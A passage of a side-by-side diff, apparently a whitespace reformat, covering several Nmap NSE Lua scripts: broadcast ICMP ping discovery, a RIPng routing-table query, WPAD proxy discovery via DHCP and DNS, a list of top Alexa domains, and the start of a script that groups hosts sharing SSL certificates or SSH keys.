stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME) stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
end end
nmap.registry[SCRIPT_NAME].rootfail = true nmap.registry[SCRIPT_NAME].rootfail = true
return nil return nil
end end
if nmap.address_family() ~= 'inet' then if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME) stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false return false
end end
return true return true
end end
@@ -85,195 +85,195 @@ end
-- @param ttl number containing value for the TTL (time to live) field in IP header -- @param ttl number containing value for the TTL (time to live) field in IP header
-- @param data_length number value of ICMP payload length -- @param data_length number value of ICMP payload length
local icmp_packet = function(srcIP, dstIP, ttl, data_length, mtu, seqNo, icmp_id) local icmp_packet = function(srcIP, dstIP, ttl, data_length, mtu, seqNo, icmp_id)
-- A couple of checks first -- A couple of checks first
assert((seqNo and seqNo>0 and seqNo<=0xffff),"ICMP Sequence number: Value out of range(1-65535).") assert((seqNo and seqNo>0 and seqNo<=0xffff),"ICMP Sequence number: Value out of range(1-65535).")
assert((ttl and ttl>0 and ttl<0xff),"TTL(time-to-live): Value out of range(1-256).") assert((ttl and ttl>0 and ttl<0xff),"TTL(time-to-live): Value out of range(1-256).")
-- MTU values should be considered here! -- MTU values should be considered here!
assert((data_length and data_length>=0 and data_length<mtu),"ICMP Payload length: Value out of range(0-mtu).") assert((data_length and data_length>=0 and data_length<mtu),"ICMP Payload length: Value out of range(0-mtu).")
-- ICMP Message -- ICMP Message
local icmp_payload = nil local icmp_payload = nil
if data_length and data_length>0 then if data_length and data_length>0 then
icmp_payload = openssl.rand_bytes(data_length) icmp_payload = openssl.rand_bytes(data_length)
else else
icmp_payload = "" icmp_payload = ""
end end
local seqNo_hex = stdnse.tohex(seqNo) local seqNo_hex = stdnse.tohex(seqNo)
local icmp_seqNo = bin.pack(">H", string.rep("0",(4-seqNo_hex))..seqNo_hex) local icmp_seqNo = bin.pack(">H", string.rep("0",(4-seqNo_hex))..seqNo_hex)
-- Type=08; Code=00; Chksum=0000; ID=icmp_id; SeqNo=icmp_seqNo; Payload=icmp_payload(hex string); -- Type=08; Code=00; Chksum=0000; ID=icmp_id; SeqNo=icmp_seqNo; Payload=icmp_payload(hex string);
local icmp_tmp = bin.pack(">HAAA", "0800 0000", icmp_id, icmp_seqNo, icmp_payload) local icmp_tmp = bin.pack(">HAAA", "0800 0000", icmp_id, icmp_seqNo, icmp_payload)
local icmp_checksum = packet.in_cksum(icmp_tmp) local icmp_checksum = packet.in_cksum(icmp_tmp)
local icmp_msg = bin.pack(">HHAAA", "0800", stdnse.tohex(icmp_checksum), icmp_id, icmp_seqNo, icmp_payload) local icmp_msg = bin.pack(">HHAAA", "0800", stdnse.tohex(icmp_checksum), icmp_id, icmp_seqNo, icmp_payload)
--IP Total Length --IP Total Length
local length_hex = stdnse.tohex(20 + #icmp_msg) local length_hex = stdnse.tohex(20 + #icmp_msg)
local ip_length = bin.pack(">H", string.rep("0",(4-#length_hex))..length_hex) local ip_length = bin.pack(">H", string.rep("0",(4-#length_hex))..length_hex)
--TTL --TTL
local ttl_hex = stdnse.tohex(ttl) local ttl_hex = stdnse.tohex(ttl)
local ip_ttl = bin.pack(">H", string.rep("0",(2-ttl_hex))..ttl_hex) local ip_ttl = bin.pack(">H", string.rep("0",(2-ttl_hex))..ttl_hex)
--IP header --IP header
local ip_bin = bin.pack(">HAHAH","4500",ip_length, "0000 4000", ip_ttl, local ip_bin = bin.pack(">HAHAH","4500",ip_length, "0000 4000", ip_ttl,
"01 0000 0000 0000 0000 0000") "01 0000 0000 0000 0000 0000")
-- IP+ICMP; Addresses and checksum need to be filled -- IP+ICMP; Addresses and checksum need to be filled
local icmp_bin = bin.pack(">AA",ip_bin, icmp_msg) local icmp_bin = bin.pack(">AA",ip_bin, icmp_msg)
--Packet --Packet
local icmp = packet.Packet:new(icmp_bin,#icmp_bin) local icmp = packet.Packet:new(icmp_bin,#icmp_bin)
assert(icmp,"Mistake during ICMP packet parsing") assert(icmp,"Mistake during ICMP packet parsing")
icmp:ip_set_bin_src(packet.iptobin(srcIP)) icmp:ip_set_bin_src(packet.iptobin(srcIP))
icmp:ip_set_bin_dst(packet.iptobin(dstIP)) icmp:ip_set_bin_dst(packet.iptobin(dstIP))
icmp:ip_count_checksum() icmp:ip_count_checksum()
return icmp return icmp
end end
local broadcast_if = function(if_table,icmp_responders) local broadcast_if = function(if_table,icmp_responders)
local condvar = nmap.condvar(icmp_responders) local condvar = nmap.condvar(icmp_responders)
local num_probes = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".num-probes")) or 1 local num_probes = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".num-probes")) or 1
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
timeout = (timeout or 3) * 1000 timeout = (timeout or 3) * 1000
local ttl = nmap.get_ttl() local ttl = nmap.get_ttl()
local data_length = nmap.get_payload_length() local data_length = nmap.get_payload_length()
local sequence_number = 1 local sequence_number = 1
local destination_IP = "255.255.255.255" local destination_IP = "255.255.255.255"
-- raw IPv4 socket -- raw IPv4 socket
local dnet = nmap.new_dnet() local dnet = nmap.new_dnet()
local try = nmap.new_try() local try = nmap.new_try()
try = nmap.new_try(function() dnet:ethernet_close() end) try = nmap.new_try(function() dnet:ethernet_close() end)
-- raw sniffing socket (icmp echoreply style) -- raw sniffing socket (icmp echoreply style)
local pcap = nmap.new_socket() local pcap = nmap.new_socket()
pcap:set_timeout(timeout) pcap:set_timeout(timeout)
local mtu = if_table.mtu or 256 -- 256 is minimal mtu local mtu = if_table.mtu or 256 -- 256 is minimal mtu
pcap:pcap_open(if_table.device, 104, false, "dst host ".. if_table.address .. pcap:pcap_open(if_table.device, 104, false, "dst host ".. if_table.address ..
" and icmp[icmptype]==icmp-echoreply") " and icmp[icmptype]==icmp-echoreply")
try(dnet:ethernet_open(if_table.device)) try(dnet:ethernet_open(if_table.device))
local source_IP = if_table.address local source_IP = if_table.address
local icmp_ids = {} local icmp_ids = {}
for i = 1, num_probes do for i = 1, num_probes do
-- ICMP packet -- ICMP packet
local icmp_id = openssl.rand_bytes(2) local icmp_id = openssl.rand_bytes(2)
icmp_ids[icmp_id]=true icmp_ids[icmp_id]=true
local icmp = icmp_packet( source_IP, destination_IP, ttl, local icmp = icmp_packet( source_IP, destination_IP, ttl,
data_length, mtu, sequence_number, icmp_id) data_length, mtu, sequence_number, icmp_id)
local ethernet_icmp = bin.pack("HAHA", "FF FF FF FF FF FF", if_table.mac, "08 00", icmp.buf) local ethernet_icmp = bin.pack("HAHA", "FF FF FF FF FF FF", if_table.mac, "08 00", icmp.buf)
try( dnet:ethernet_send(ethernet_icmp) ) try( dnet:ethernet_send(ethernet_icmp) )
end end
while true do while true do
local status, plen, l2, l3data, _ = pcap:pcap_receive() local status, plen, l2, l3data, _ = pcap:pcap_receive()
if not status then break end if not status then break end
-- Do stuff with packet -- Do stuff with packet
local icmpreply = packet.Packet:new(l3data,plen,false) local icmpreply = packet.Packet:new(l3data,plen,false)
-- We check whether the packet is parsed ok, and whether the ICMP ID of the sent packet -- We check whether the packet is parsed ok, and whether the ICMP ID of the sent packet
-- is the same with the ICMP ID of the received packet. We don't want ping probes interfering -- is the same with the ICMP ID of the received packet. We don't want ping probes interfering
local icmp_id = icmpreply:raw(icmpreply.icmp_offset+4,2) local icmp_id = icmpreply:raw(icmpreply.icmp_offset+4,2)
if icmpreply:ip_parse() and icmp_ids[icmp_id] then if icmpreply:ip_parse() and icmp_ids[icmp_id] then
if not icmp_responders[icmpreply.ip_src] then if not icmp_responders[icmpreply.ip_src] then
-- [key = IP]=MAC -- [key = IP]=MAC
local mac_pretty = stdnse.format_mac(l2:sub(7,12)) local mac_pretty = stdnse.format_mac(l2:sub(7,12))
icmp_responders[icmpreply.ip_src] = mac_pretty icmp_responders[icmpreply.ip_src] = mac_pretty
end end
else else
stdnse.print_debug("Erroneous ICMP packet received; Cannot parse IP header.") stdnse.print_debug("Erroneous ICMP packet received; Cannot parse IP header.")
end end
end end
pcap:close() pcap:close()
dnet:ethernet_close() dnet:ethernet_close()
condvar "signal" condvar "signal"
end end
action = function() action = function()
--get interface script-args, if any --get interface script-args, if any
local interface_arg = stdnse.get_script_args(SCRIPT_NAME .. ".interface") local interface_arg = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
local interface_opt = nmap.get_interface() local interface_opt = nmap.get_interface()
-- interfaces list (decide which interfaces to broadcast on) -- interfaces list (decide which interfaces to broadcast on)
local interfaces ={} local interfaces ={}
if interface_opt or interface_arg then if interface_opt or interface_arg then
-- single interface defined -- single interface defined
local interface = interface_opt or interface_arg local interface = interface_opt or interface_arg
local if_table = nmap.get_interface_info(interface) local if_table = nmap.get_interface_info(interface)
if not if_table or not if_table.address or not if_table.link=="ethernet" then if not if_table or not if_table.address or not if_table.link=="ethernet" then
stdnse.print_debug("Interface not supported or not properly configured.") stdnse.print_debug("Interface not supported or not properly configured.")
return false return false
end end
table.insert(interfaces, if_table) table.insert(interfaces, if_table)
else else
local tmp_ifaces = nmap.list_interfaces() local tmp_ifaces = nmap.list_interfaces()
for _, if_table in ipairs(tmp_ifaces) do for _, if_table in ipairs(tmp_ifaces) do
if if_table.address and if if_table.address and
if_table.link=="ethernet" and if_table.link=="ethernet" and
if_table.address:match("%d+%.%d+%.%d+%.%d+") then if_table.address:match("%d+%.%d+%.%d+%.%d+") then
table.insert(interfaces, if_table) table.insert(interfaces, if_table)
end end
end end
end end
if #interfaces == 0 then if #interfaces == 0 then
stdnse.print_debug("No interfaces found.") stdnse.print_debug("No interfaces found.")
return return
end end
local icmp_responders={} local icmp_responders={}
local threads ={} local threads ={}
local condvar = nmap.condvar(icmp_responders) local condvar = nmap.condvar(icmp_responders)
-- party time -- party time
for _, if_table in ipairs(interfaces) do for _, if_table in ipairs(interfaces) do
-- create a thread for each interface -- create a thread for each interface
local co = stdnse.new_thread(broadcast_if, if_table, icmp_responders) local co = stdnse.new_thread(broadcast_if, if_table, icmp_responders)
threads[co]=true threads[co]=true
end end
repeat repeat
for thread in pairs(threads) do for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end if coroutine.status(thread) == "dead" then threads[thread] = nil end
end end
if ( next(threads) ) then if ( next(threads) ) then
condvar "wait" condvar "wait"
end end
until next(threads) == nil until next(threads) == nil
-- generate output -- generate output
local output = tab.new() local output = tab.new()
for ip_addr, mac_addr in pairs(icmp_responders) do for ip_addr, mac_addr in pairs(icmp_responders) do
if target.ALLOW_NEW_TARGETS then if target.ALLOW_NEW_TARGETS then
target.add(ip_addr) target.add(ip_addr)
end end
tab.addrow(output, "IP: " .. ip_addr, "MAC: " .. mac_addr) tab.addrow(output, "IP: " .. ip_addr, "MAC: " .. mac_addr)
end end
if #output > 0 then if #output > 0 then
output = { tab.dump(output) } output = { tab.dump(output) }
if not target.ALLOW_NEW_TARGETS then if not target.ALLOW_NEW_TARGETS then
output[#output + 1] = "Use --script-args=newtargets to add the results as targets" output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
end end
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end
end end

View File

@@ -34,117 +34,117 @@ prerule = function() return ( nmap.address_family() == "inet6" ) end
RIPng = { RIPng = {
-- Supported RIPng commands -- Supported RIPng commands
Command = { Command = {
Request = 1, Request = 1,
Response = 2, Response = 2,
}, },
-- Route table entry -- Route table entry
RTE = { RTE = {
-- Creates a new Route Table Entry -- Creates a new Route Table Entry
-- @param prefix string containing the ipv6 route prefix -- @param prefix string containing the ipv6 route prefix
-- @param tag number containing the route tag -- @param tag number containing the route tag
-- @param prefix_len number containing the length in bits of the -- @param prefix_len number containing the length in bits of the
-- signifcant part of the prefix -- signifcant part of the prefix
-- @param metric number containing the current metric for the -- @param metric number containing the current metric for the
-- destination -- destination
new = function(self, prefix, tag, prefix_len, metric) new = function(self, prefix, tag, prefix_len, metric)
local o = { local o = {
prefix = prefix, prefix = prefix,
tag = tag, tag = tag,
prefix_len = prefix_len, prefix_len = prefix_len,
metric = metric metric = metric
} }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
-- Parses a byte string and creates an instance of RTE -- Parses a byte string and creates an instance of RTE
-- @param data string of bytes -- @param data string of bytes
-- @return rte instance of RTE -- @return rte instance of RTE
parse = function(data) parse = function(data)
local rte = RIPng.RTE:new() local rte = RIPng.RTE:new()
local pos, ip local pos, ip
pos, ip, rte.tag, rte.prefix_len, rte.metric = bin.unpack(">A16SCC", data) pos, ip, rte.tag, rte.prefix_len, rte.metric = bin.unpack(">A16SCC", data)
ip = select(2, bin.unpack("B" .. #ip, ip)) ip = select(2, bin.unpack("B" .. #ip, ip))
rte.prefix = ipOps.bin_to_ip(ip) rte.prefix = ipOps.bin_to_ip(ip)
return rte return rte
end, end,
-- Converts a RTE instance to string -- Converts a RTE instance to string
-- @return string of bytes to send to the server -- @return string of bytes to send to the server
__tostring = function(self) __tostring = function(self)
local ipstr = ipOps.ip_to_str(self.prefix) local ipstr = ipOps.ip_to_str(self.prefix)
assert(16 == #ipstr, "Invalid IPv6 address encountered") assert(16 == #ipstr, "Invalid IPv6 address encountered")
return bin.pack(">ASCC", ipstr, self.tag, self.prefix_len, self.metric) return bin.pack(">ASCC", ipstr, self.tag, self.prefix_len, self.metric)
end, end,
}, },
-- The Request class contains functions to build a RIPv2 Request -- The Request class contains functions to build a RIPv2 Request
Request = { Request = {
-- Creates a new Request instance -- Creates a new Request instance
-- --
-- @param command number containing the RIPv2 Command to use -- @param command number containing the RIPv2 Command to use
-- @return o instance of request -- @return o instance of request
new = function(self, entries) new = function(self, entries)
local o = { local o = {
command = 1, command = 1,
version = 1, version = 1,
entries = entries, entries = entries,
} }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
-- Converts the whole request to a string -- Converts the whole request to a string
__tostring = function(self) __tostring = function(self)
local RESERVED = 0 local RESERVED = 0
local str = bin.pack(">CCS", self.command, self.version, RESERVED) local str = bin.pack(">CCS", self.command, self.version, RESERVED)
for _, rte in ipairs(self.entries) do for _, rte in ipairs(self.entries) do
str = str .. tostring(rte) str = str .. tostring(rte)
end end
return str return str
end, end,
}, },
-- A RIPng Response -- A RIPng Response
Response = { Response = {
-- Creates a new Response instance -- Creates a new Response instance
-- @return o new instance of Response -- @return o new instance of Response
new = function(self) new = function(self)
local o = { } local o = { }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
-- Creates a new Response instance based on a string of bytes -- Creates a new Response instance based on a string of bytes
-- @return resp new instance of Response -- @return resp new instance of Response
parse = function(data) parse = function(data)
local resp = RIPng.Response:new() local resp = RIPng.Response:new()
local pos, _ local pos, _
pos, resp.command, resp.version, _ = bin.unpack(">CCS", data) pos, resp.command, resp.version, _ = bin.unpack(">CCS", data)
resp.entries = {} resp.entries = {}
while( pos < #data ) do while( pos < #data ) do
local e = RIPng.RTE.parse(data:sub(pos)) local e = RIPng.RTE.parse(data:sub(pos))
table.insert(resp.entries, e) table.insert(resp.entries, e)
pos = pos + 20 pos = pos + 20
end end
return resp return resp
end, end,
} }
} }
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
@@ -152,65 +152,65 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end
-- Parses a RIPng response -- Parses a RIPng response
-- @return ret string containing the routing table -- @return ret string containing the routing table
local function parse_response(resp) local function parse_response(resp)
local next_hop local next_hop
local result = tab.new(3) local result = tab.new(3)
tab.addrow(result, "route", "metric", "next hop") tab.addrow(result, "route", "metric", "next hop")
for _, rte in pairs(resp.entries or {}) do for _, rte in pairs(resp.entries or {}) do
-- next hop information is specified in a separate RTE according to -- next hop information is specified in a separate RTE according to
-- RFC 2080 section 2.1.1 -- RFC 2080 section 2.1.1
if ( 0xFF == rte.metric ) then if ( 0xFF == rte.metric ) then
next_hop = rte.prefix next_hop = rte.prefix
else else
tab.addrow(result, ("%s/%d"):format(rte.prefix, rte.prefix_len), rte.metric, next_hop or "") tab.addrow(result, ("%s/%d"):format(rte.prefix, rte.prefix_len), rte.metric, next_hop or "")
end end
end end
return tab.dump(result) return tab.dump(result)
end end
action = function() action = function()
local req = RIPng.Request:new( { RIPng.RTE:new("0::", 0, 0, 16) } ) local req = RIPng.Request:new( { RIPng.RTE:new("0::", 0, 0, 16) } )
local host, port = "FF02::9", { number = 521, protocol = "udp" } local host, port = "FF02::9", { number = 521, protocol = "udp" }
local iface = nmap.get_interface() local iface = nmap.get_interface()
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout")) local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
timeout = (timeout or 5) * 1000 timeout = (timeout or 5) * 1000
local sock = nmap.new_socket("udp") local sock = nmap.new_socket("udp")
sock:bind(nil, 521) sock:bind(nil, 521)
sock:set_timeout(timeout) sock:set_timeout(timeout)
local status = sock:sendto(host, port, tostring(req)) local status = sock:sendto(host, port, tostring(req))
-- do we need to add the interface name to the address? -- do we need to add the interface name to the address?
if ( not(status) ) then if ( not(status) ) then
if ( not(iface) ) then if ( not(iface) ) then
return fail("Couldn't determine what interface to use, try supplying it with -e") return fail("Couldn't determine what interface to use, try supplying it with -e")
end end
status = sock:sendto(host .. "%" .. iface, port, tostring(req)) status = sock:sendto(host .. "%" .. iface, port, tostring(req))
end end
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to send request to server") return fail("Failed to send request to server")
end end
local responses = {} local responses = {}
while(true) do while(true) do
local status, data = sock:receive() local status, data = sock:receive()
if ( not(status) ) then if ( not(status) ) then
break break
else else
local status, _, _, rhost = sock:get_info() local status, _, _, rhost = sock:get_info()
if ( not(status) ) then if ( not(status) ) then
rhost = "unknown" rhost = "unknown"
end end
responses[rhost] = RIPng.Response.parse(data) responses[rhost] = RIPng.Response.parse(data)
end end
end end
local result = {} local result = {}
for ip, resp in pairs(responses) do for ip, resp in pairs(responses) do
stdnse.print_debug(ip, resp) stdnse.print_debug(ip, resp)
table.insert(result, { name = ip, parse_response(resp) } ) table.insert(result, { name = ip, parse_response(resp) } )
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -44,11 +44,11 @@ local arg_nodhcp = stdnse.get_script_args(SCRIPT_NAME .. ".nodhcp")
local arg_getwpad= stdnse.get_script_args(SCRIPT_NAME .. ".getwpad") local arg_getwpad= stdnse.get_script_args(SCRIPT_NAME .. ".getwpad")
local function createRequestList(req_list) local function createRequestList(req_list)
local output = "" local output = ""
for _, v in ipairs(req_list) do for _, v in ipairs(req_list) do
output = output .. string.char(v) output = output .. string.char(v)
end end
return output return output
end end
@@ -58,175 +58,175 @@ end
-- @param up string containing the interface status to filter -- @param up string containing the interface status to filter
-- @return result table containing the matching interfaces -- @return result table containing the matching interfaces
local function getInterfaces(link, up) local function getInterfaces(link, up)
if( not(nmap.list_interfaces) ) then return end if( not(nmap.list_interfaces) ) then return end
local interfaces, err = nmap.list_interfaces() local interfaces, err = nmap.list_interfaces()
local result local result
if ( not(err) ) then if ( not(err) ) then
for _, iface in ipairs(interfaces) do for _, iface in ipairs(interfaces) do
if ( iface.link == link and iface.up == up ) then if ( iface.link == link and iface.up == up ) then
result = result or {} result = result or {}
result[iface.device] = true result[iface.device] = true
end end
end end
end end
return result return result
end end
local function parseDHCPResponse(response) local function parseDHCPResponse(response)
for _, v in ipairs(response.options) do for _, v in ipairs(response.options) do
if ( "WPAD" == v.name ) then if ( "WPAD" == v.name ) then
return true, v.value return true, v.value
end end
end end
end end
local function getWPAD(u) local function getWPAD(u)
local u_parsed = url.parse(u) local u_parsed = url.parse(u)
if ( not(u_parsed) ) then if ( not(u_parsed) ) then
return false, ("Failed to parse url: %s"):format(u) return false, ("Failed to parse url: %s"):format(u)
end end
local response = http.get(u_parsed.host, u_parsed.port or 80, u_parsed.path) local response = http.get(u_parsed.host, u_parsed.port or 80, u_parsed.path)
if ( response and response.status == 200 ) then if ( response and response.status == 200 ) then
return true, response.body return true, response.body
end end
return false, ("Failed to retrieve wpad.dat (%s) from server"):format(u) return false, ("Failed to retrieve wpad.dat (%s) from server"):format(u)
end end
local function parseWPAD(wpad) local function parseWPAD(wpad)
local proxies = {} local proxies = {}
for proxy in wpad:gmatch("PROXY%s*([^\";%s]*)") do for proxy in wpad:gmatch("PROXY%s*([^\";%s]*)") do
table.insert(proxies, proxy) table.insert(proxies, proxy)
end end
return proxies return proxies
end end
local function dnsDiscover() local function dnsDiscover()
-- tries to discover WPAD for all domains and sub-domains -- tries to discover WPAD for all domains and sub-domains
local function enumWPADNames(domain) local function enumWPADNames(domain)
local d = domain local d = domain
-- reduce domain until we only have a single dot left -- reduce domain until we only have a single dot left
-- there is a security problem in querying for wpad.tld like eg -- there is a security problem in querying for wpad.tld like eg
-- wpad.com as this could be a rougue domain. This loop does not -- wpad.com as this could be a rougue domain. This loop does not
-- account for domains with tld's containing two parts e.g. co.uk. -- account for domains with tld's containing two parts e.g. co.uk.
-- However, as the script just attempts to download and parse the -- However, as the script just attempts to download and parse the
-- proxy values in the WPAD there should be no real harm here. -- proxy values in the WPAD there should be no real harm here.
repeat repeat
local name = ("wpad.%s"):format(d) local name = ("wpad.%s"):format(d)
d = d:match("^[^%.]-%.(.*)$") d = d:match("^[^%.]-%.(.*)$")
local status, response = dns.query(name, { dtype = 'A', retAll = true }) local status, response = dns.query(name, { dtype = 'A', retAll = true })
-- get the first entry and return -- get the first entry and return
if ( status and response[1] ) then if ( status and response[1] ) then
return true, { name = name, ip = response[1] } return true, { name = name, ip = response[1] }
end end
until( not(d) or not(d:match("%.")) ) until( not(d) or not(d:match("%.")) )
end end
-- first try a domain if it was supplied -- first try a domain if it was supplied
if ( arg_domain ) then if ( arg_domain ) then
local status, response = enumWPADNames(arg_domain) local status, response = enumWPADNames(arg_domain)
if ( status ) then if ( status ) then
return status, response return status, response
end end
end end
-- if no domain was supplied, attempt to reverse lookup every ip on each -- if no domain was supplied, attempt to reverse lookup every ip on each
-- interface to find our FQDN hostname, once we do, try to query for WPAD -- interface to find our FQDN hostname, once we do, try to query for WPAD
for i in pairs(getInterfaces("ethernet", "up") or {}) do for i in pairs(getInterfaces("ethernet", "up") or {}) do
local iface, err = nmap.get_interface_info(i) local iface, err = nmap.get_interface_info(i)
if ( iface ) then if ( iface ) then
local status, response = dns.query( dns.reverse(iface.address), { dtype = 'PTR', retAll = true } ) local status, response = dns.query( dns.reverse(iface.address), { dtype = 'PTR', retAll = true } )
-- did we get a name back from dns? -- did we get a name back from dns?
if ( status ) then if ( status ) then
local domains = {} local domains = {}
for _, name in ipairs(response) do for _, name in ipairs(response) do
-- first get all unique domain names -- first get all unique domain names
if ( not(name:match("in%-addr.arpa$")) ) then if ( not(name:match("in%-addr.arpa$")) ) then
local domain = name:match("^[^%.]-%.(.*)$") local domain = name:match("^[^%.]-%.(.*)$")
domains[domain] = true domains[domain] = true
end end
end end
-- attempt to discover the ip for WPAD in all domains -- attempt to discover the ip for WPAD in all domains
-- each domain is processed and reduced and ones the first -- each domain is processed and reduced and ones the first
-- match is received it returns an IP -- match is received it returns an IP
for domain in pairs(domains) do for domain in pairs(domains) do
status, response = enumWPADNames(domain) status, response = enumWPADNames(domain)
if ( status ) then if ( status ) then
return true, response return true, response
end end
end end
end end
end end
end end
return false, "Failed to find WPAD using DNS" return false, "Failed to find WPAD using DNS"
end end
local function dhcpDiscover() local function dhcpDiscover()
-- send a DHCP discover on all ethernet interfaces that are up -- send a DHCP discover on all ethernet interfaces that are up
for i in pairs(getInterfaces("ethernet", "up") or {}) do for i in pairs(getInterfaces("ethernet", "up") or {}) do
local iface, err = nmap.get_interface_info(i) local iface, err = nmap.get_interface_info(i)
if ( iface ) then if ( iface ) then
local req_list = createRequestList( { 1, 15, 3, 6, 44, 46, 47, 31, 33, 249, 43, 252 } ) local req_list = createRequestList( { 1, 15, 3, 6, 44, 46, 47, 31, 33, 249, 43, 252 } )
local status, response = dhcp.make_request("255.255.255.255", dhcp.request_types["DHCPDISCOVER"], "0.0.0.0", iface.mac, nil, req_list, { flags = 0x8000 } ) local status, response = dhcp.make_request("255.255.255.255", dhcp.request_types["DHCPDISCOVER"], "0.0.0.0", iface.mac, nil, req_list, { flags = 0x8000 } )
-- if we got a response, we're happy and don't need to continue -- if we got a response, we're happy and don't need to continue
if (status) then if (status) then
return status, response return status, response
end end
end end
end end
end end
action = function() action = function()
local status, response, wpad local status, response, wpad
if ( arg_nodhcp and arg_nodns ) then if ( arg_nodhcp and arg_nodns ) then
return "\n ERROR: Both nodns and nodhcp arguments were supplied" return "\n ERROR: Both nodns and nodhcp arguments were supplied"
end end
if ( nmap.is_privileged() and not(arg_nodhcp) ) then if ( nmap.is_privileged() and not(arg_nodhcp) ) then
status, response = dhcpDiscover() status, response = dhcpDiscover()
if ( status ) then if ( status ) then
status, wpad = parseDHCPResponse(response) status, wpad = parseDHCPResponse(response)
end end
end end
-- if the DHCP did not get a result, fallback to DNS -- if the DHCP did not get a result, fallback to DNS
if (not(status) and not(arg_nodns) ) then if (not(status) and not(arg_nodns) ) then
status, response = dnsDiscover() status, response = dnsDiscover()
if ( not(status) ) then if ( not(status) ) then
local services = "DNS" .. ( nmap.is_privileged() and "/DHCP" or "" ) local services = "DNS" .. ( nmap.is_privileged() and "/DHCP" or "" )
return ("\n ERROR: Could not find WPAD using %s"):format(services) return ("\n ERROR: Could not find WPAD using %s"):format(services)
end end
wpad = ("http://%s/wpad.dat"):format( response.name ) wpad = ("http://%s/wpad.dat"):format( response.name )
end end
if ( status ) then if ( status ) then
status, response = getWPAD(wpad) status, response = getWPAD(wpad)
end end
if ( not(status) ) then if ( not(status) ) then
return status, response return status, response
end end
local output = ( arg_getwpad and response or parseWPAD(response) ) local output = ( arg_getwpad and response or parseWPAD(response) )
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end

View File

@@ -78,56 +78,56 @@ local TIMED_MULTIPLIER = 1.0
-- This list is the first 50 entries of -- This list is the first 50 entries of
-- http://s3.amazonaws.com/alexa-static/top-1m.csv.zip on 2013-08-08. -- http://s3.amazonaws.com/alexa-static/top-1m.csv.zip on 2013-08-08.
local ALEXA_DOMAINS = { local ALEXA_DOMAINS = {
"google.com", "google.com",
"facebook.com", "facebook.com",
"youtube.com", "youtube.com",
"yahoo.com", "yahoo.com",
"baidu.com", "baidu.com",
"wikipedia.org", "wikipedia.org",
"amazon.com", "amazon.com",
"qq.com", "qq.com",
"live.com", "live.com",
"linkedin.com", "linkedin.com",
"twitter.com", "twitter.com",
"blogspot.com", "blogspot.com",
"taobao.com", "taobao.com",
"google.co.in", "google.co.in",
"bing.com", "bing.com",
"yahoo.co.jp", "yahoo.co.jp",
"yandex.ru", "yandex.ru",
"wordpress.com", "wordpress.com",
"sina.com.cn", "sina.com.cn",
"vk.com", "vk.com",
"ebay.com", "ebay.com",
"google.de", "google.de",
"tumblr.com", "tumblr.com",
"msn.com", "msn.com",
"google.co.uk", "google.co.uk",
"googleusercontent.com", "googleusercontent.com",
"ask.com", "ask.com",
"mail.ru", "mail.ru",
"google.com.br", "google.com.br",
"163.com", "163.com",
"google.fr", "google.fr",
"pinterest.com", "pinterest.com",
"google.com.hk", "google.com.hk",
"hao123.com", "hao123.com",
"microsoft.com", "microsoft.com",
"google.co.jp", "google.co.jp",
"xvideos.com", "xvideos.com",
"google.ru", "google.ru",
"weibo.com", "weibo.com",
"craigslist.org", "craigslist.org",
"paypal.com", "paypal.com",
"instagram.com", "instagram.com",
"amazon.co.jp", "amazon.co.jp",
"google.it", "google.it",
"imdb.com", "imdb.com",
"blogger.com", "blogger.com",
"google.es", "google.es",
"apple.com", "apple.com",
"conduit.com", "conduit.com",
"sohu.com", "sohu.com",
} }
-- Construct the default list of domains. -- Construct the default list of domains.

View File

@@ -63,149 +63,149 @@ postrule = function() return true end
local function processSSLCerts(tab) local function processSSLCerts(tab)
-- Handle SSL-certificates -- Handle SSL-certificates
-- We create a new table using the SHA1 digest as index -- We create a new table using the SHA1 digest as index
local ssl_certs = {} local ssl_certs = {}
for host, v in pairs(tab) do for host, v in pairs(tab) do
for port, sha1 in pairs(v) do for port, sha1 in pairs(v) do
ssl_certs[sha1] = ssl_certs[sha1] or {} ssl_certs[sha1] = ssl_certs[sha1] or {}
if ( not stdnse.contains(ssl_certs[sha1], host.ip) ) then if ( not stdnse.contains(ssl_certs[sha1], host.ip) ) then
table.insert(ssl_certs[sha1], host.ip) table.insert(ssl_certs[sha1], host.ip)
end end
end end
end end
local results = {} local results = {}
for sha1, hosts in pairs(ssl_certs) do for sha1, hosts in pairs(ssl_certs) do
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end) table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
if ( #hosts > 1 ) then if ( #hosts > 1 ) then
table.insert(results, { name = ("Certficate (%s)"):format(sha1), hosts } ) table.insert(results, { name = ("Certficate (%s)"):format(sha1), hosts } )
end end
end end
return results return results
end end
local function processSSHKeys(tab) local function processSSHKeys(tab)
local hostkeys = {} local hostkeys = {}
-- create a reverse mapping key_fingerprint -> host(s) -- create a reverse mapping key_fingerprint -> host(s)
for ip, keys in pairs(tab) do for ip, keys in pairs(tab) do
for _, key in ipairs(keys) do for _, key in ipairs(keys) do
